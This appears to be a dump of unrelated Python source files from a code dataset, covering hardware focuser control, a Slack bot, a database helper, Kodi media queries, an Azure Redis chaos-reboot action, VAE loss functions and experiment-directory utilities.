'\\\n\t\t\t\t'brightness setting.')\n\t\telse:\n\t\t\tformat_bright = '{0:>03}'.format(brightness)\n\n\t\t\tcommand = get_start_end_char('FHSCLB'+format_bright)\n\n\t\t\tmessage = common.send_command_two_response(command, port)\n\n\t\t\tif message == 'SET':\n\t\t\t\tfocus_logger.info('LED brightness set to: ' + str(\n\t\t\t\t\tformat_bright))\n\t\t\telse:\n\t\t\t\tfocus_logger.error('Response:'+message)\n\n\telse:\n\t\n\t\tfocus_logger.error('Check value entered for brightness setting.')\n\n\n\"\"\"\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nGroup OBSERVING FUNCTIONS\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\"\"\"\n\ndef focuser_initial_configuration(config_file_name,\n\t\t\tconfig_file_loc = 'configs/'):\n\t\"\"\"\n\t\n\tThis function will set all the settings needed to run a focuser. The \n\t settings will be loaded from a configuration file, and passed to the\n\t relavent control functions.\n\t \n\t Don't think this will need to be done everytime the focuser is run, just \n\t when first setup unless you'd like to change the settings.\n\t \n\t General description of function:\n\t - Load configuration file and check serial port connection settings.\n\t - Open a serial port connection to the focuser\n\t - Set the device name and type in the onboard focuser configuration.\n\t - Set the LED brightness.\n\t - Set everything required for the temperature compensation, even if it is\n\t\t\tnot used\n\t - Set everything for the backlash compensation, even if it is not used.\n\t - Close the port.\n\t \n\t PARAMETERS:\n\t \n\t config_file_name = name of the file containing configuration setting for \n\t\tthe focuser\n\t config_file_loc = directory to find the configuration file\n\t \n\t\"\"\"\n\n\tconfig_dict = common.load_config(config_file_name, path = config_file_loc)\n\tcheck_config_port_values_for_focuser(config_dict)\n\topen_p = common.open_port_from_config_param(config_dict)\n\n\tfocuser_no = config_dict['focuser_no']\n\t#start loading the settings\n\tset_device_name(open_p, device_name = config_dict['focuser_name'],\n\t\tx=focuser_no)\n\tset_device_type(open_p, device_type= config_dict['device_type'],\n\t\tx=focuser_no)\n\tset_LED_brightness(config_dict['LED_brightness'], open_p)\n\n\t#set temperature compensation setings:\n\tset_temp_comp(open_p, temp_comp = config_dict['temp_compen'], x=focuser_no)\n\tset_temp_comp_start_state(open_p,\n\t\ttemp_comp_start = config_dict['temp_compen_at_start'], x= focuser_no)\n\tset_temp_comp_coeff(open_p, mode= 'A',\n\t\ttemp_coeff_val=config_dict['temp_coeffA'], x= focuser_no)\n\tset_temp_comp_coeff(open_p, mode='B',\n\t\ttemp_coeff_val=config_dict['temp_coeffB'], x= focuser_no)\n\tset_temp_comp_coeff(open_p, mode='C',\n\t\ttemp_coeff_val= config_dict['temp_coeffC'], x= focuser_no)\n\tset_temp_comp_coeff(open_p, mode='D',\n\t\ttemp_coeff_val=config_dict['temp_coeffD'], x= focuser_no)\n\tset_temp_comp_coeff(open_p, mode='E',\n\t\ttemp_coeff_val=config_dict['temp_coeffE'], x= focuser_no)\n\tset_temp_comp_mode(open_p, mode = config_dict['temp_compen_mode'],\n\t\tx= focuser_no)\n\n\t#Set backlash settings:\n\tset_backlash_comp(open_p, backlash_comp = config_dict['backlash_compen'],\n\t\tx= focuser_no)\n\tcheck_config_port_values_for_focuser(config_dict)\n\tset_backlash_steps(open_p, backlash_steps = config_dict['backlash_steps'],\n\t\tx= focuser_no )\n\t\n\tget_focuser_stored_config(open_p, x= focuser_no)\n\n\t#close the port\n\tcommon.close_port(open_p)\n\ndef startup_focuser(config_file_name, config_file_loc = 'configs/'):\n\t\"\"\"\n\t\n\tThis function will perform any startup operations, to make it so the\n\t focuser is ready to work. Return the open port ready for sending further \n\t instructions.\n\t \n\tPARAMETERS:\n\t \n\t config_file_name = name of the file containing configuration setting for \n\t\tthe focuser\n\t config_file_loc = directory to find the configuration file\n\t \n\tRETURN\n\t\n\t\tfocuser_no = Number of the focuser that has been started up\n\t\topen_p = the serial port that has been opened for future communication.\n\t \n\t\"\"\"\n\tconfig_dict = common.load_config(config_file_name, path = config_file_loc)\n\tcheck_config_port_values_for_focuser(config_dict)\n\topen_p = common.open_port_from_config_param(config_dict)\n\tfocuser_no = config_dict['focuser_no']\n\n\t#home_focuser(open_p, x = focuser_no)\n\t\n\t\n\tcurrent_config=get_focuser_stored_config(open_p, x = focuser_no,\n\t\treturn_dict=True)\n\tif current_config['TComp ON'] == 1:\n\t\tfocus_logger.info('Focuser '+str(focuser_no)+': Temperature '\\\n\t\t\t'compensation - ON')\n\telse:\n\t\tfocus_logger.info('Focuser '+str(focuser_no)+': Temperature '\\\n\t\t\t'compensation - OFF')\n\tif current_config['BLC En'] == 1:\n\t\tfocus_logger.info('Focuser '+str(focuser_no)+': Backlash compensation'\\\n\t\t\t' - ON')\n\telse:\n\t\tfocus_logger.info('Focuser '+str(focuser_no)+': Backlash compensation '\\\n\t\t\t'- OFF')\n\n\tfocus_logger.info('Startup for Focuser '+str(focuser_no)+' complete.')\n\n\treturn focuser_no, open_p\n\ndef shutdown_focuser(open_p, x=1):\n\t\"\"\"\n\t\n\tThis function will perform any shutdown operations at the end of the night \n\t\tor during shutdown. Then close the serial port connection\n\n\tPARAMETERS:\n\t\t\n\t\topen_p = an open serial port connection to the focuser\n\t\tx = focuser number\n\t\n\t\"\"\"\n\n\t#center_focuser(open_p)\n\topen_p.close()\n\n\tfocus_logger.info('Serial port connection to focuser has been closed')\n\n\"\"\"\n\t#Might be used for testing the status setup\n\tSTATUS1\\nTemp(C) = +21.7\\nCurr Pos = 108085\\nTarg Pos = 000000\\nIsMoving \n\t\t= 1\\nIsHoming = 1\\nIsHomed = 0\\nFFDetect = 0\\nTmpProbe = 1\\nRemoteIO \n\t\t= 0\\nHnd Ctlr = 0\\nEND\n\t\n\tCONFIG\\nNickname = FocusLynx Foc2\\nMax Pos = 125440\\nDevTyp =OE\\nTComp ON \n\t\t= 0\\nTempCo A = +0086\\nTempCo B = +0086\\nTempCo C = +0086\\nTempCo D = \n\t\t+0000\\nTempCo E = +0000\\nTCMode =A\\nBLC En =0\\nBLC Stps = +40\\nLED Brt \n\t\t= 075\\nTC@Start = 0\\nEND\n\"\"\"\n","sub_path":"focuser_control.py","file_name":"focuser_control.py","file_ext":"py","file_size_in_byte":36260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"579594423","text":"import os\nimport time\nfrom slackclient import SlackClient\n\n# ticketbro's bot ID\nBOT_ID = os.environ.get(\"BOT_ID\")\n\n# constants\nAT_BOT = \"<@\" + BOT_ID + \">:\"\nEXAMPLE_COMMAND = \"do\"\nFAM = \"fam?\"\n\n# instantiate slack client\nslack_client = SlackClient(os.environ.get('SLACK_BOT_TOKEN'))\n\ndef handle_command(command, channel):\n\t\"\"\"\n\t\tReceives commands directed at the bot and checks if they're valid.\n\t\tIf not, it comes back and asks for more info.\n\t\"\"\"\n\tresponse = \"That looks wrong. Use the *\" + EXAMPLE_COMMAND + \\\n\t\t\t\t\"* command with numbers, delimited by spaces.\"\n\tif command.startswith(EXAMPLE_COMMAND):\n\t\tresponse = \"I got this.\"\n\n\tif command.startswith(FAM):\n\t\tresponse = \"Hello, fam.\"\n\n\tslack_client.api_call(\"chat.postMessage\", channel=channel,\n\t\t\t\t\t\t text=response, as_user=True)\n\ndef parse_slack_output(slack_rtm_output):\n\t\"\"\"\n\t\tThis method checks the slack RTM API to see if any of the messages\n\t\tare directed at this bot and acts accordingly.\n\t\"\"\"\n\toutput_list = slack_rtm_output\n\tif output_list and len(output_list) > 0:\n\t\tfor output in output_list:\n\t\t\tif output and 'text' in output and AT_BOT in output['text']:\n\t\t\t\t# return text after the @, trim whitespace\n\t\t\t\treturn output['text'].split(AT_BOT)[1].strip().lower(), \\\n\t\t\t\t output['channel']\n\treturn None, None\n\n# start it up\nif __name__ == \"__main__\":\n\tREAD_WEBSOCKET_DELAY = 1\n\tif slack_client.rtm_connect():\n\t\tprint(\"ticketbro is ticketbroing\")\n\t\twhile True:\n\t\t\tcommand, channel = parse_slack_output(slack_client.rtm_read())\n\t\t\tif command and channel:\n\t\t\t\thandle_command(command, channel)\n\t\t\ttime.sleep(READ_WEBSOCKET_DELAY)\n\telse:\n\t\tprint(\"he failed, bro. check yourself.\")","sub_path":"ticketbro.py","file_name":"ticketbro.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"158901326","text":"from sqlalchemy.ext.declarative import DeclarativeMeta\nfrom sqlalchemy.orm.attributes import InstrumentedAttribute\n\nfrom common.cryptodome import AesCrypt\n\n\nclass ControllerBase(object):\n def __init__(self, table_cls):\n if isinstance(table_cls, DeclarativeMeta):\n table_cls = [table_cls]\n\n self.table_cls_map = {c.__tablename__: c\n for c in table_cls}\n self.table_cls_map.update({'default': table_cls[0]})\n self._session = None\n\n @staticmethod\n def format_return(success, msg='', info=None, **kwargs):\n if not isinstance(success, bool) or not isinstance(msg, str):\n raise Exception('format illegal.')\n ret = {'success': success, 'msg': msg, 'info': info}\n ret.update(kwargs)\n return ret\n\n def get_table_keys(self, table_name='default'):\n return [c for c, v in self.table_cls_map[table_name].__dict__.items()\n if isinstance(v, InstrumentedAttribute)]\n\n @property\n def session(self):\n return self._session\n\n @session.setter\n def session(self, session):\n self._session = session\n\n @session.getter\n def session(self):\n return self._session\n\n def commit(self):\n try:\n self.session.commit()\n except Exception as err:\n self.session.rollback()\n raise err\n finally:\n self.session.close()\n\n def _get(self, filter_dict, table_name='default', **kwargs):\n if not isinstance(filter_dict, dict):\n raise Exception('param filter is not dict.')\n filter_params = []\n for k, v in filter_dict.items():\n k_operator = k.split('.')\n if len(k_operator) == 2:\n k, operator = k_operator\n part_filter = getattr(getattr(self.table_cls_map[table_name], k), operator)(v)\n elif len(k_operator) == 1:\n k = k_operator[0]\n if k.startswith('^'):\n part_filter = getattr(self.table_cls_map[table_name], k) != v\n else:\n part_filter = getattr(self.table_cls_map[table_name], k) == v\n else:\n raise Exception('illegal key: [%s]' % k)\n\n filter_params.append(part_filter)\n\n query_obj = self._session.query(self.table_cls_map[table_name]).filter(*filter_params)\n query_method = kwargs.get('query_method', 'all')\n info = getattr(query_obj, query_method)()\n if isinstance(info, list):\n info = [i.serialize() for i in info]\n else:\n info = info.serialize() if info else None\n return info\n\n def _add(self, add_dict, table_name='default'):\n instance = self.table_cls_map[table_name](**add_dict)\n self._session.add(instance)\n return instance.serialize()\n\n def _update(self, query_dict, update_dict, table_name='default'):\n filter_params = [getattr(self.table_cls_map[table_name], k) == v\n for k, v in query_dict.items()]\n\n instance_list = self._session.query(\n self.table_cls_map[table_name]).filter(*filter_params).all()\n for instance in instance_list:\n for k, v in update_dict.items():\n setattr(instance, k, v)\n\n return [ins.serialize() for ins in instance_list]\n\n def _delete(self, query_dict, table_name='default'):\n filter_params = [getattr(self.table_cls_map[table_name], k) == v\n for k, v in query_dict.items()]\n\n self._session.query(self.table_cls_map[table_name]\n ).filter(*filter_params).delete()\n return True\n\n\n @staticmethod\n def encrypt(string, crypt_type='AES'):\n if crypt_type == 'AES':\n return AesCrypt().encrypt(string)\n else:\n raise Exception('crypt_type not supported')\n\n @staticmethod\n def decrypt(string, crypt_type='AES'):\n if crypt_type == 'AES':\n return AesCrypt().decrypt(string)\n else:\n raise Exception('crypt_type not supported')\n","sub_path":"my_project/controllers/base/base_controller.py","file_name":"base_controller.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"22641710","text":"# Code inspired by this website:\n# https://www.tutorialspoint.com/python/python_binary_tree.htm\n\n# Can't use, exceeds Python's maximum recursion depth\n\n\nclass BinaryTreeNode:\n # Allows for a root node to be added to the tree, not required\n def __init__(self, pixel_id=None):\n self.data = pixel_id\n self.left = None\n self.right = None\n\n def insert_node(self, pixel_data):\n # Check if the node being inserted is the root node\n if self.data is None:\n self.data = pixel_data\n\n # The node being inserted will not be the root and will lie in one of the branches of the tree\n else:\n if pixel_data < self.data:\n if self.left is None:\n self.left = BinaryTreeNode(pixel_data)\n else:\n self.left.insert_node(pixel_data)\n elif pixel_data > self.data:\n if self.right is None:\n self.right = BinaryTreeNode(pixel_data)\n else:\n self.right.insert_node(pixel_data)\n\n # Debugging purposes\n def print_tree(self):\n if self.left:\n self.left.print_tree()\n print(self.data)\n if self.right:\n self.right.print_tree()\n","sub_path":"tree_ops.py","file_name":"tree_ops.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"48030015","text":"from mycroft.util.log import LOG\nimport requests\nimport json\n\n\ndef get_tv_show(kodi_path, show_title, season_number, episode_number):\n show_id = get_show(kodi_path, show_title)[0]['tvshowid']\n LOG.info('Found ShowID: ' + str(show_id))\n episode_details = get_episode(kodi_path, show_id, season_number, episode_number)\n print('Found Episode Details: ' + str(episode_details))\n return episode_details\n\n\ndef get_show(kodi_path, search_words):\n \"\"\"\n 1. need to confirm the TVShow (returns tvshowID)\n 2. Search for VideoLibrary.GetSeasons (uses Season number as integer)\n 3. Search for VideoLibrary.GetEpisodes (uses episode number as integer)\n \"\"\"\n filter_key = []\n for each_word in search_words:\n search_key = {\n \"field\": \"title\",\n \"operator\": \"contains\",\n \"value\": each_word.strip()\n }\n filter_key.append(search_key)\n # Make the request\n json_header = {'content-type': 'application/json'}\n method = \"VideoLibrary.GetTVShows\"\n kodi_payload = {\n \"jsonrpc\": \"2.0\",\n \"method\": method,\n \"id\": \"libTvShows\",\n \"params\": {\n \"properties\": [\n \"file\",\n \"thumbnail\",\n \"fanart\"\n ],\n \"filter\": {\n \"and\": filter_key\n }\n }\n }\n try:\n kodi_response = requests.post(kodi_path, data=json.dumps(kodi_payload), headers=json_header)\n item_list = json.loads(kodi_response.text)[\"result\"]['tvshows']\n # remove duplicates\n clean_list = [] # this is a dict\n for each_item in item_list:\n item_title = str(each_item['label'])\n info = {\n \"label\": each_item['label'],\n \"tvshowid\": each_item['tvshowid'],\n \"fanart\": each_item['fanart'],\n \"thumbnail\": each_item['thumbnail'],\n \"filename\": each_item['file']\n }\n if item_title.lower() not in str(clean_list).lower():\n clean_list.append(info)\n else:\n if len(each_item['label']) == len(item_title):\n print('Removing Duplicate Entries')\n else:\n clean_list.append(info)\n return clean_list # returns a dictionary of matched movies\n except Exception as e:\n print(e)\n return None\n\n\ndef get_episode(kodi_path, showID, seasonNum, episodeNum):\n \"\"\"\n 1. need to confirm the TVShow (returns tvshowID)\n 2. Search for VideoLibrary.GetSeasons (uses Season number as integer)\n 3. Search for VideoLibrary.GetEpisodes (uses episode number as integer)\n \"\"\"\n search_key = {\n \"field\": \"episode\",\n \"operator\": \"contains\",\n \"value\": int(episodeNum)\n }\n json_header = {'content-type': 'application/json'}\n method = \"VideoLibrary.GetEpisodes\"\n kodi_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": method,\n \"params\": {\n \"tvshowid\": showID,\n \"season\": seasonNum,\n \"properties\": [\n \"season\",\n \"episode\",\n \"file\",\n \"fanart\",\n \"thumbnail\",\n \"playcount\"\n ],\n }\n }\n try:\n kodi_response = requests.post(kodi_path, data=json.dumps(kodi_payload), headers=json_header)\n item_list = json.loads(kodi_response.text)[\"result\"][\"episodes\"]\n for each_item in item_list:\n if each_item[\"episode\"] == episodeNum:\n return each_item\n return None # returns a dictionary of matched movies\n except Exception as e:\n print(e)\n return None\n","sub_path":"kodi_tools/GetRequestedTVShows.py","file_name":"GetRequestedTVShows.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"542178328","text":"# -*- coding: utf-8 -*-\nimport re\n\nfrom azure.mgmt.redis import RedisManagementClient\nfrom chaoslib.exceptions import FailedActivity\nfrom chaoslib.types import Configuration, Secrets\nfrom logzero import logger\n\nfrom chaosazure import init_redis_client\nfrom chaosazure.common import cleanse\nfrom chaosazure.redis.constants import RES_TYPE_SRV_CACHE_REDIS\nfrom chaosazure.common.resources.graph import fetch_resources\n\n__all__ = [\"reboot_redis\"]\n\nfrom chaosazure.vmss.records import Records\n\n\ndef reboot_redis(filter: str = None,\n configuration: Configuration = None,\n secrets: Secrets = None):\n \"\"\"\n reboot_redis redis\n\n Parameters\n ----------\n filter : str, optional\n Filter the servers. If the filter is omitted all servers in\n the subscription will be selected as potential chaos candidates.\n\n Examples\n --------\n Some calling examples. Deep dive into the filter syntax:\n https://docs.microsoft.com/en-us/azure/kusto/query/\n\n \"\"\"\n logger.debug(\n \"Start stop_redis: \"\n \"configuration='{}', filter='{}'\".format(configuration, filter))\n\n servers = __fetch_redis(filter, configuration, secrets)\n client = __redis__mgmt_client(secrets, configuration)\n redis_records = Records()\n for s in servers:\n group = s['resourceGroup']\n name = s['name']\n logger.debug(\"Deleting server: {}\".format(name))\n client.redis.force_reboot(group, name)\n\n redis_records.add(cleanse.redis(s))\n\n return redis_records.output_as_dict('resources')\n\n\n###############################################################################\n# Private helper functions\n###############################################################################\ndef __fetch_redis(filter, configuration, secrets) -> []:\n servers = fetch_resources(filter, RES_TYPE_SRV_CACHE_REDIS, secrets, configuration)\n if not servers:\n logger.warning(\"No redis found\")\n raise FailedActivity(\"No redis found\")\n else:\n logger.debug(\n \"Fetched redis: {}\".format(\n [s['name'] for s in servers]))\n return servers\n\n\ndef __redis__mgmt_client(secrets, configuration):\n return init_redis_client(secrets, configuration)\n","sub_path":"chaosazure/redis/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"417724588","text":"import tensorflow as tf\r\nimport utils.codes as codes\r\nfrom utils.configuration import default_config as config\r\n\r\n## ------------------- LOSS: EXPECTED LOWER BOUND ----------------------\r\n# tsne_cost loss\r\ndef get_reconst_loss(x, x_recons, loss_func, epsilon=config.epsilon):\r\n \"\"\"\r\n Returns the reconstuction loss between x and x_recons\r\n two modes:\r\n OLS:\r\n MSE(x, x_recons) Mean error squared\r\n MLE:\r\n Maximum log-likelihood estimator is the expected log-likelihood of the lower bound. For this we use a bernouilli LL.\r\n \"\"\"\r\n assert loss_func in codes.properties(codes.Losses), \\\r\n 'Unsupported reconstuction loss loss_func'\r\n if loss_func == codes.Losses.MLE:\r\n return - tf.reduce_sum((x) * tf.log(x_recons + epsilon) +\r\n (1 - x) * tf.log(1 - x_recons + epsilon), 1)\r\n else:\r\n return tf.losses.mean_pairwise_squared_error(x, x_recons)\r\n\r\n\r\n### ---------------------------------------------- Divergences --------------------------------------------\r\n\r\n### ---------------------------------------------- Divergences --------------------------------------------\r\ndef get_self_divergence(meanQ, log_varQ, loss_func):\r\n log_varQ = 2.0*log_varQ\r\n P = tf.distributions.Bernoulli(probs=tf.ones(meanQ.shape[-1]))\r\n meanP = P.mean()\r\n log_varP = P.variance()\r\n return get_divergence(meanQ, log_varQ, meanP, log_varP, loss_func)\r\n\ndef get_QP_kl(meanQ, log_varQ, meanP, log_varP):\n \"\"\"\n KL[Q || P] returns the KL-divergence between the prior p and the variational posterior q.\n :param meanQ: vector of means for q\n :param log_varQ: vector of log-variances for q\n :param meanP: vector of means for p\n :param log_varP: vector of log-variances for p\n :return: KL divergence between q and p\n \"\"\"\n #meanQ = posterior_mean\n #log_varQ = posterior_logvar\n #meanP = prior_mean\n #log_varP = prior_logvar\n\n return - 0.5 * tf.reduce_sum(\n log_varP - log_varQ + (tf.square(meanQ - meanP) / tf.exp(log_varP)) + tf.exp(log_varQ - log_varP) - 1)\n\n\r\n\r\ndef get_divergence(meanQ, log_varQ, meanP, log_varP, div_loss):\r\n assert div_loss in codes.properties(codes.Losses)\\\r\n , 'Unsupported divergences loss div_loss'\r\n if div_loss == codes.Losses.KLD:\r\n return get_KL_div(meanQ, log_varQ, meanP, log_varP)\r\n\r\n elif div_loss == codes.Losses.RKLD:\r\n return -get_KL_div(meanP, log_varP, meanQ, log_varQ)\r\n\r\n elif div_loss == codes.Losses.JS:\r\n return get_KL_div(meanQ, log_varQ, meanP, log_varP) * 0.5 + \\\r\n get_KL_div(meanP, log_varP, meanQ, log_varQ) * 0.5\r\n\r\n elif div_loss == codes.Losses.CHI2:\r\n return -0.5 * tf.reduce_sum(tf.exp(log_varP) + log_varQ\r\n -(tf.square(meanQ - meanP) / tf.log(log_varP)-1)**2\r\n - tf.exp(log_varQ - log_varP)**2 , 1)\r\n\r\n elif div_loss == codes.Losses.Helling:\r\n return -0.5 * tf.reduce_sum(tf.exp(log_varP) + log_varQ\r\n -(tf.square(tf.square(meanQ - meanP) / tf.log(log_varP))-1)**2\r\n - tf.exp(log_varQ - log_varP)**2 , 1)\r\n\r\n\r\ndef get_kl(mu, log_var):\r\n \"\"\"\r\n d_kl(q(latent|x)||p(latent)) returns the KL-divergence between the prior p and the variational posterior q.\r\n :return: KL divergence between q and p\r\n \"\"\"\r\n # Formula: 0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\r\n return - 0.5 * tf.reduce_sum( 1.0 + 2.0 * log_var - tf.square(mu) - tf.exp(2.0 * log_var), 1)\r\n\r\ndef get_KL_div(meanQ, log_varQ, meanP, log_varP):\r\n \"\"\"\r\n KL[Q || P] returns the divergence between the prior p and the variational posterior q.\r\n :param meanQ: vector of means for q\r\n :param log_varQ: vector of log-variances for q\r\n :param meanP: vector of means for p\r\n :param log_varP: vector of log-variances for p\r\n :return: KL divergence between q and p\r\n \"\"\"\r\n #meanQ = posterior_mean\r\n #log_varQ = posterior_logvar\r\n #meanP = prior_mean\r\n #log_varP = prior_logvar\r\n\r\n return -0.5 * tf.reduce_sum(tf.exp(log_varP) + log_varQ\r\n -(tf.square(meanQ - meanP) / tf.exp(log_varP))\r\n - tf.exp(log_varQ - log_varP) , 1)\r\n\r\ndef kl_divergence(P, Q, epsilon=config.epsilon):\r\n \"\"\"\r\n Compute the Kullback–Leibler divergence between two probability distributions\r\n Args:\r\n P : (tensorflow.placeholder): Tensor storing the target probability distribution\r\n @ : (tensorflow.Variable): Tensor storing the model distribution\r\n Returns:\r\n KLD (tensorflow.Variable): Kullback–Leibler divergence\r\n \"\"\"\r\n Pc = tf.maximum(P, epsilon)\r\n Qc = tf.maximum(Q, epsilon)\r\n\r\n return tf.reduce_sum(P * tf.log(Pc / Qc))\r\n\r\n\r\ndef get_distributions_div_cost(Px, Qx, loss_func, epsilon=config.epsilon):\r\n\r\n assert loss_func in codes.properties(codes.Losses),\\\r\n 'Unsupported divergences loss loss_func'\r\n\r\n if loss_func == codes.Losses.KLD:\r\n return kl_divergence(Px, Qx)\r\n\r\n if loss_func == codes.Losses.RKLD:\r\n return -kl_divergence(Qx, Px)\r\n\r\n elif loss_func == codes.Losses.JS:\r\n return kl_divergence(Px, Qx) * 0.5 + \\\r\n kl_divergence(Qx, Px) * 0.5\r\n\r\n elif loss_func == codes.Losses.CHI2:\r\n Pxc = tf.maximum(Px, epsilon)\r\n Qyc = tf.maximum(Qx, epsilon)\r\n return tf.reduce_sum(Qx * (Pxc / Qyc - 1.) ** 2)\r\n\r\n elif loss_func == codes.Losses.Helling:\r\n Pxc = tf.maximum(Px, epsilon)\r\n Qyc = tf.maximum(Qx, epsilon)\r\n return tf.reduce_sum(Qx * (tf.sqrt(Pxc / Qyc) - 1.) ** 2)\r\n","sub_path":"bases/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"328121009","text":"from sys import argv\n\nscript, name1 = argv\nprompt = '>'\nprint('Hi {0}, i am inside the script {1}'.format(name1, script))\nprint('i would like to ask few questions')\nprint('Do you like me {0}'.format(name1))\nlikes = input(prompt)\nprint('Where do you leave {0}'.format(name1))\nleave = input(prompt)\nprint('What is the name of your computer ?')\ncomputer = input(prompt)\nprint(\"\"\"\nAlright {0},now i understand that\nyou leave in {1} and like {2}.\nAlso i could see that your computer is {3}\n\"\"\".format(name1, likes, leave, computer))\n","sub_path":"ShaW/Part_1/ex14.py","file_name":"ex14.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"9527343","text":"import json\nimport os\nimport re\n#def filenames_to_im_ids( fns ):\n#\treturn [ filename_to_id(fn) for fn in fns ]\n\n#def filename_to_id( fn ):\n#\treturn fn.split('_')[0]\nimport numpy as np\n\n\ndef filenames_to_im_ids( im_files ):\n\tif isinstance(im_files[0], int):\n\t\treturn im_files\n\telif im_files[0].startswith('frame'):\n\t\tim_file_ids = [ int( os.path.splitext(os.path.basename(f))[0].split('_')[1] ) for f in im_files ]\n\t\treturn im_file_ids\n\n\ttry:\n\t\tint(im_files[0])\n\t\tim_file_ids = [ int( os.path.splitext(os.path.basename(f))[0] ) for f in im_files ]\n\t\n\texcept ValueError:\n\t\t'''\n\t\t# just return these as strings? not sure why i wanted to do the conversion\n\t\tim_file_ids = [os.path.splitext(os.path.basename(f))[0] for f in im_files]\n\t\t\n\t\t'''\n\t\tif '_' in im_files[0]:\n\t\t\tim_file_ids = [ int( os.path.splitext(os.path.basename(f))[0].split('_')[0] ) for f in im_files ]\n\t\telse:\n\t\t\tim_file_ids = im_files[:]\n\t\t\tfor i,f in enumerate(im_files):\n\t\t\t\tcurr_str = []\n\t\t\t\tfirst_seg = os.path.splitext(os.path.basename(f))[0].replace('_','') # TODO: check this for all naming formats we use\n\t\t\t\tfor c in first_seg:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcurr_str.append( str(int(c)))\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tcurr_str.append( str(ord(c)))\n\t\t\t\tim_file_ids[i] = int(''.join(curr_str))\n\t#\t\tim_file_ids = [ ''.join([str(ord(c)) for c in ]) for f in im_files ]\n\t#\t\tprint(im_file_ids)\n\treturn im_file_ids\n\n\ndef make_output_dirs(base_model_name, prompt_delete=True, exp_root ='./experiments/'):\n\tfig_root = './figures/'\n\tlog_root = './logs/'\n\tmodel_root = './models/'\n\n\texperiment_dir = exp_root + base_model_name\n\n\tfigures_dir = exp_root + base_model_name + '/figures'\n\tlogs_dir = exp_root + base_model_name + '/logs'\n\tmodels_dir = exp_root + base_model_name + '/models'\n\n\tmodel_name = base_model_name\n\tcopy_count = 0\n\n\twhile os.path.isdir(figures_dir) or os.path.isdir(logs_dir) or os.path.isdir(models_dir):\n\t\t# list existing files\n\t\tif os.path.isdir(figures_dir):\n\t\t\tfigure_files = [os.path.join(figures_dir, f) for f in os.listdir(figures_dir) if\n\t\t\t\t\t\t\tf.endswith('.jpg') or f.endswith('.png')]\n\t\telse:\n\t\t\tfigure_files = []\n\n\t\tif os.path.isdir(logs_dir):\n\t\t\tlog_files = [os.path.join(logs_dir, l) for l in os.listdir(logs_dir) \\\n\t\t\t\t\t\t if os.path.isfile(os.path.join(logs_dir, l))] \\\n\t\t\t\t\t\t+ [os.path.join(experiment_dir, f) for f in os.listdir(experiment_dir) if f.endswith('.log')]\n\t\t\t# also includde any .log files\n\t\telse:\n\t\t\tlog_files = []\n\n\t\tif os.path.isdir(models_dir):\n\t\t\tmodel_files = [os.path.join(models_dir, m) for m in os.listdir(models_dir) \\\n\t\t\t\t\t\t if os.path.isfile(os.path.join(models_dir, m))]\n\t\telse:\n\t\t\tmodel_files = []\n\n\t\tif prompt_delete and (len(figure_files) > 0 or len(log_files) > 0 or len(model_files) > 0):\n\t\t\tprint(\n\t\t\t\t'Remove \\n\\t{} figures from {}\\n\\t{} logs from {}\\n\\t{} models from {}?\\n[y]es / [n]o (create new folder) / [C]ontinue existing / remove [m]odels too: [y/n/C/m]'.format(\n\t\t\t\t\tlen(figure_files), figures_dir, len(log_files), logs_dir, len(model_files), models_dir))\n\n\t\t\ttry:\n\t\t\t\tchoice = raw_input().lower()\n\t\t\texcept NameError:\n\t\t\t\t# python 3 syntax\n\t\t\t\tchoice = input().lower()\n\n\t\t\t#\t\t\tif len(choice) == 0:\n\t\t\t#\t\t\t\tchoice=['yes']\n\t\t\tremove_choices = ['yes', 'y', 'ye']\n\t\t\tmake_new_choices = ['no', 'n']\n\t\t\tcontinue_choices = ['c', '']\n\t\t\tremove_models_too = ['m']\n\n\t\t\t#\t\t\tfor c in choice:\n\t\t\tif choice in remove_choices:\n\t\t\t\tfor f in figure_files + log_files:\n\t\t\t\t\tprint('Removing {}'.format(f))\n\t\t\t\t\tos.remove(f)\n\t\t\telif choice in remove_models_too:\n\t\t\t\tfor f in figure_files + log_files + model_files:\n\t\t\t\t\tprint('Removing {}'.format(f))\n\t\t\t\t\tos.remove(f)\n\t\t\telif choice in continue_choices:\n\t\t\t\tprint('Continuing in existing folder...')\n\t\t\t\tbreak\n\n\t\t\telif choice in make_new_choices:\n\t\t\t\tcopy_count += 1\n\t\t\t\tmodel_name = base_model_name + '_{}'.format(copy_count)\n\t\t\t\texperiment_dir = exp_root + model_name\n\n\t\t\t\tfigures_dir = exp_root + model_name + '/figures'\n\t\t\t\tlogs_dir = exp_root + model_name + '/logs'\n\t\t\t\tmodels_dir = exp_root + model_name + '/models'\n\t\telse:\n\t\t\tbreak\n\n\tif not os.path.isdir(experiment_dir):\n\t\tos.mkdir(experiment_dir)\n\tif not os.path.isdir(figures_dir):\n\t\tos.mkdir(figures_dir)\n\tif not os.path.isdir(logs_dir):\n\t\tos.mkdir(logs_dir)\n\tif not 